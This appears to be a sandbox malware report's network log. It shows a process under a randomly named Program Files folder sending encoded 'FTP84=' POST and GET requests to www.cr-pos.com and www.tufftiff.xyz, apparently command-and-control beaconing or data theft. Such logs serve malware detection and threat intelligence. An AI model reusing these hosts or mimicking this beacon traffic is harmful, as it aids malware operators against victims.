Jul 1, 2024 19:25:34.131337881 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Mon, 01 Jul 2024 17:25:33 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Jul 1, 2024 19:25:34.131373882 CEST	219	IN	Data Raw: 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 Data Ascii: > <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	64474	192.250.231.28	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:36.149451017 CEST	1743	OUT	POST /b9jt/ HTTP/1.1 Host: www.cr-pos.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1250 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.cr-pos.com Referer: http://www.cr-pos.com/b9jt/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 46 34 59 4b 6e 43 66 74 37 4d 41 46 55 63 30 6d 64 6b 63 7a 58 47 38 4a 4f 34 53 62 32 43 4f 79 34 32 53 6f 75 59 44 43 76 52 6e 63 2f 51 42 6c 68 61 78 36 46 56 43 62 6e 38 79 61 39 70 4c 58 65 34 67 44 59 6b 30 71 45 33 4d 30 6d 6b 6a 4e 41 74 38 45 32 38 2b 34 33 54 4b 72 44 51 49 4e 75 45 70 58 6c 37 58 48 6d 4c 4c 4d 54 4c 70 62 41 31 46 4f 6a 63 50 66 58 39 4e 66 64 35 35 54 31 76 35 59 49 69 52 56 58 44 76 6e 65 2f 69 61 47 37 4c 2f 4b 41 4a 45 54 33 68 32 75 79 6f 32 64 6d 4a 6e 54 78 57 4f 61 41 53 37 63 2b 7a 32 66 43 32 67 71 57 52 61 30 6c 4b 48 4b 31 7a 36 79 32 63 6b 75 46 4c 44 64 62 66 52 41 39 55 4d 6c 47 5a 51 58 78 44 44 66 6d 49 43 54 41 66 73 62 51 4d 78 62 71 4a 54 6b 61 6b 77 49 59 63 6b 73 4e 51 2b 73 65 4a 6a 46 54 44 5a 72 4a 52 35 34 70 75 4b 45 41 4c 53 77 7a 58 57 47 53 36 72 65 65 56 71 36 77 68 39 30 76 4d 44 4d 57 46 34 4f 59 70 6f 6c 5a 48 49 49 52 33 32 33 2f 66 69 50 77 4d 30 34 62 76 70 4f 48 57 39 35 54 51 53 79 78 2b 66 41 6f 32 68 78 49 74 6b [TRUNCATED] Data Ascii: FTP84=F4YKnCft7MAFUc0mdkczXG8JO4Sb2COy42SouYDCvRnc/QBlhax6FVCbn8ya9pLXe4gDYk0qE3M0mkjNAt8E28+43TKrDQINuEpXl7XHmLLMTLpbA1FOjcPfX9Nfd55T1v5YIiRVXDvne/iaG7L/KAJET3h2uyo2dmJnTxWOaAS7c+z2fC2gqWRa0lKHK1z6y2ckuFLDdbfRA9UMlGZQXxDDfmICTAfsbQMxbqJTkakwIYcksNQ+seJjFTDZrJR54puKEALSwzXWGS6reeVq6wh90vMDMWF4OYpolZHIIR323/fiPwM04bvpOHW95TQSyx+fAo2hxItkv2hO9qXE2vic+nd7vx3oFiqk9RM6fTRSKDe+liA82czH1RXEgyazao9eHlA80pmP/2LF43idEbjTzqPz81mv0agCfVxDawkYXvJlZki9baYnPqUKjDFud2Pj3szCfoFGYhXdsTxkWGCbSA0ZUrco+WukZ4+ytTYzi70nUDB/joNbEEh8T/bSj1umnl7AV0Dh4ZLi2YtFTgwEU6UNezfNlsUEC/VojLXoBZU4DRMfT/qO+PjYPhzRW4l5EXq0UHDaFpXX3bsARXK01Y/+5NKlEbrVqy+ylQgcpNUVzYYZEmzHsdaxHFAwv0G+5thBSGI/d4gZ3eLJGMAsrl0Aw348hEc9ULWLBQ49SRlzdK6w2+Z8Y65AfKDk4AYIrNWlMTlc0CNWYAA51XCBH2iyxTef8XvbfULaZkoEBo5f/04kXXHutqT3miZPAHFW55j4LMeZQK4D6v82zGzNx9gs7WkLvDBVKh0woTEic2TH1KNHbg758KxvwmhcMn56f1d25LHzS8dzLqv+D2Q2JOhgVHQvJ9/JBNfPkOmCJlVp+vixklinMHNTK9IGuCUoUQwNM0/1uw4eHvmh1eUd3iHVzvwM4oykrhlKEdDyimLg/J4ZNdw7aeR5tl6lgzsTeDID51w3l/bisn+PAMQrfqQOhXAUANBaaNp6Oc6nZF [TRUNCATED]
Jul 1, 2024 19:25:36.662798882 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Mon, 01 Jul 2024 17:25:35 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Jul 1, 2024 19:25:36.662818909 CEST	219	IN	Data Raw: 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 Data Ascii: > <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	64475	192.250.231.28	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:38.686378002 CEST	453	OUT	GET /b9jt/?FTP84=I6wqk3vZ0MIwducyeDc5a1RUJrCEqnXhmjD4iKeo+QzF3CVziIh9NSuBhJSHyIOtb6QEc0JQU3wLuke4KM9e0eKAxB2ADTUoySVeubTpqpeKSrgjLWx1k8qzQ8FFILh8qZ99MFd/cRWi&Lb=GFtlIrHx8T50 HTTP/1.1 Host: www.cr-pos.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Jul 1, 2024 19:25:39.206994057 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Mon, 01 Jul 2024 17:25:39 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Jul 1, 2024 19:25:39.207015991 CEST	219	IN	Data Raw: 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 Data Ascii: > <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	64476	162.0.238.43	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:52.990557909 CEST	716	OUT	POST /vwgn/ HTTP/1.1 Host: www.tufftiff.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 218 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.tufftiff.xyz Referer: http://www.tufftiff.xyz/vwgn/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 30 73 32 73 44 69 76 53 30 68 47 4b 46 66 6f 65 49 55 78 31 52 42 36 72 58 4d 49 37 65 61 78 58 5a 74 57 49 33 46 76 58 47 59 49 78 7a 56 71 62 6a 52 68 4a 7a 64 4a 56 54 4b 4c 45 63 38 69 38 74 6e 7a 70 71 78 61 63 53 44 59 6f 4b 49 34 58 57 47 62 6a 53 6c 55 37 6d 2f 67 55 37 79 34 4b 7a 36 64 39 47 58 5a 52 44 47 49 74 64 58 33 2b 63 70 65 54 2b 53 6d 51 4a 74 2f 47 48 7a 79 6a 46 77 38 6a 4d 4f 56 4e 2f 34 53 72 32 4a 46 4e 59 64 6f 55 53 50 30 42 69 2b 45 51 69 34 48 4a 52 77 2b 30 63 59 75 54 54 4d 30 62 41 63 6f 32 42 64 36 33 31 74 32 2f 32 36 2b 72 41 6a 63 6f 30 62 43 32 6a 78 50 64 4b 58 6c 58 65 4f 75 6d 71 51 3d 3d Data Ascii: FTP84=0s2sDivS0hGKFfoeIUx1RB6rXMI7eaxXZtWI3FvXGYIxzVqbjRhJzdJVTKLEc8i8tnzpqxacSDYoKI4XWGbjSlU7m/gU7y4Kz6d9GXZRDGItdX3+cpeT+SmQJt/GHzyjFw8jMOVN/4Sr2JFNYdoUSP0Bi+EQi4HJRw+0cYuTTM0bAco2Bd631t2/26+rAjco0bC2jxPdKXlXeOumqQ==
Jul 1, 2024 19:25:53.602468014 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:25:53 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	64477	162.0.238.43	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:55.524468899 CEST	736	OUT	POST /vwgn/ HTTP/1.1 Host: www.tufftiff.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 238 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.tufftiff.xyz Referer: http://www.tufftiff.xyz/vwgn/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 30 73 32 73 44 69 76 53 30 68 47 4b 58 76 34 65 59 44 6c 31 41 78 36 6f 63 73 49 37 58 36 78 62 5a 74 61 49 33 48 44 2b 47 75 59 78 7a 30 61 62 73 30 4e 4a 77 64 4a 56 59 71 4c 64 59 38 69 33 74 6e 4f 4a 71 31 61 63 53 44 38 6f 4b 4a 49 58 57 33 62 67 51 31 55 75 76 66 67 4b 31 53 34 4b 7a 36 64 39 47 58 64 37 44 48 67 74 64 47 48 2b 63 49 65 4d 67 43 6d 58 4f 74 2f 47 44 7a 79 6e 46 77 39 32 4d 4c 31 33 2f 37 71 72 32 49 31 4e 5a 4d 6f 56 62 50 31 4b 6d 2b 46 54 73 5a 47 44 62 42 53 71 46 72 32 51 64 2b 38 66 4d 4b 31 55 62 2f 32 62 72 38 4f 45 79 34 61 64 58 46 42 64 32 61 47 75 75 54 37 38 56 67 41 39 54 63 50 69 38 75 4e 53 5a 77 50 41 68 51 6d 6d 39 51 54 42 53 77 72 30 39 2b 73 3d Data Ascii: FTP84=0s2sDivS0hGKXv4eYDl1Ax6ocsI7X6xbZtaI3HD+GuYxz0abs0NJwdJVYqLdY8i3tnOJq1acSD8oKJIXW3bgQ1UuvfgK1S4Kz6d9GXd7DHgtdGH+cIeMgCmXOt/GDzynFw92ML13/7qr2I1NZMoVbP1Km+FTsZGDbBSqFr2Qd+8fMK1Ub/2br8OEy4adXFBd2aGuuT78VgA9TcPi8uNSZwPAhQmm9QTBSwr09+s=
Jul 1, 2024 19:25:56.120687962 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 01 Jul 2024 17:25:56 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	64478	162.0.238.43	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:58.058517933 CEST	1749	OUT	POST /vwgn/ HTTP/1.1 Host: www.tufftiff.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1250 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.tufftiff.xyz Referer: http://www.tufftiff.xyz/vwgn/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 30 73 32 73 44 69 76 53 30 68 47 4b 58 76 34 65 59 44 6c 31 41 78 36 6f 63 73 49 37 58 36 78 62 5a 74 61 49 33 48 44 2b 47 75 51 78 7a 43 75 62 74 58 56 4a 78 64 4a 56 56 4b 4c 41 59 38 69 71 74 6e 6d 57 71 31 65 6d 53 46 34 6f 4a 72 41 58 65 6c 7a 67 61 31 55 75 69 2f 67 58 37 79 34 62 7a 2b 42 35 47 58 74 37 44 48 67 74 64 46 66 2b 56 35 65 4d 69 43 6d 51 4a 74 2f 61 48 7a 79 44 46 77 30 42 4d 4c 35 6e 2f 4c 4b 72 31 72 64 4e 55 65 77 56 55 50 31 49 71 65 46 78 73 63 65 41 62 46 4b 49 46 6f 71 32 64 2b 30 66 4f 65 34 52 48 4d 32 42 36 38 65 4b 35 70 4b 6a 52 6b 70 4e 35 59 4b 32 78 44 48 7a 5a 78 63 37 4c 2b 6d 75 36 62 41 2b 47 48 48 7a 73 55 4f 50 78 57 6d 73 4a 44 47 75 6c 59 4e 69 64 36 6c 43 79 63 4f 33 33 71 47 64 39 53 73 37 4f 48 4c 34 70 62 6e 52 6c 76 46 78 64 58 72 2f 77 41 67 7a 58 75 6f 6c 44 35 58 54 7a 32 59 43 6c 50 65 56 4c 55 48 34 75 66 2f 35 39 41 75 6d 6c 76 6e 49 68 7a 53 69 2f 6c 50 44 39 74 75 7a 2f 2b 35 52 38 37 6e 33 30 45 6c 33 64 58 61 2f 6f 72 57 34 [TRUNCATED] Data Ascii: FTP84=0s2sDivS0hGKXv4eYDl1Ax6ocsI7X6xbZtaI3HD+GuQxzCubtXVJxdJVVKLAY8iqtnmWq1emSF4oJrAXelzga1Uui/gX7y4bz+B5GXt7DHgtdFf+V5eMiCmQJt/aHzyDFw0BML5n/LKr1rdNUewVUP1IqeFxsceAbFKIFoq2d+0fOe4RHM2B68eK5pKjRkpN5YK2xDHzZxc7L+mu6bA+GHHzsUOPxWmsJDGulYNid6lCycO33qGd9Ss7OHL4pbnRlvFxdXr/wAgzXuolD5XTz2YClPeVLUH4uf/59AumlvnIhzSi/lPD9tuz/+5R87n30El3dXa/orW4EfaxhNIoAYOFJx2uBL6U3KtG9csCvg7GvnsrSyKoLo0eoiqPhT59auCApjGHzmfEMu0txFrx23f3fwsZ+Ui4deiQW6FQ3+YmiZPF+7RQ5jMHsxmZoBP6Qr9sQzjMdVIks20TdqlYKpP6827tJ+5VdAu3vZY+WT/ceUPX1l9pw47R0im1J2z3HGni5dWfpJ+pmp5HSDxGq6iglGWammHSzUYPS/sQV/wCy1zskHFi8j6vL90U70nQj23mDi0leV52q9kmgwXwpsbz0z8u3vBjuYvQ0jVdm7zlqGA7Tm/1DM1T+Fz7S0aIwDUBIhfZFQIsU9iQHVhOTyl5hE2rsT+rsNQN/YqWfVBawpcf6LgJ9mghR/9ImhKhd4mzVbtWVirJZFIc+5vH+BrOhx90DgHey1mM3fcNNAWYppQ+zZOyazkock5zZbU48lqdaX+uq5u9lpqMqgyccCOiPG0NDyMrXjI7DV1qSdoO3avtiXBfBwaDPGcUKOrIw+JPRqiuFUQ39Ien5ZYXjgx1Nx5i1W9VsmgssZnRTczMcZZEFjVUpYM7HtEJDvbkJIgJeZXXeffUguy+KV0MScy3e2wI+0Jf3z127zsncbjQmsOQ4JTKXifr3ktj48U4KjmVHp7ANF9TvVbYeheYN/ILa+jLrnWQEAE0NCg+/HiJoc [TRUNCATED]
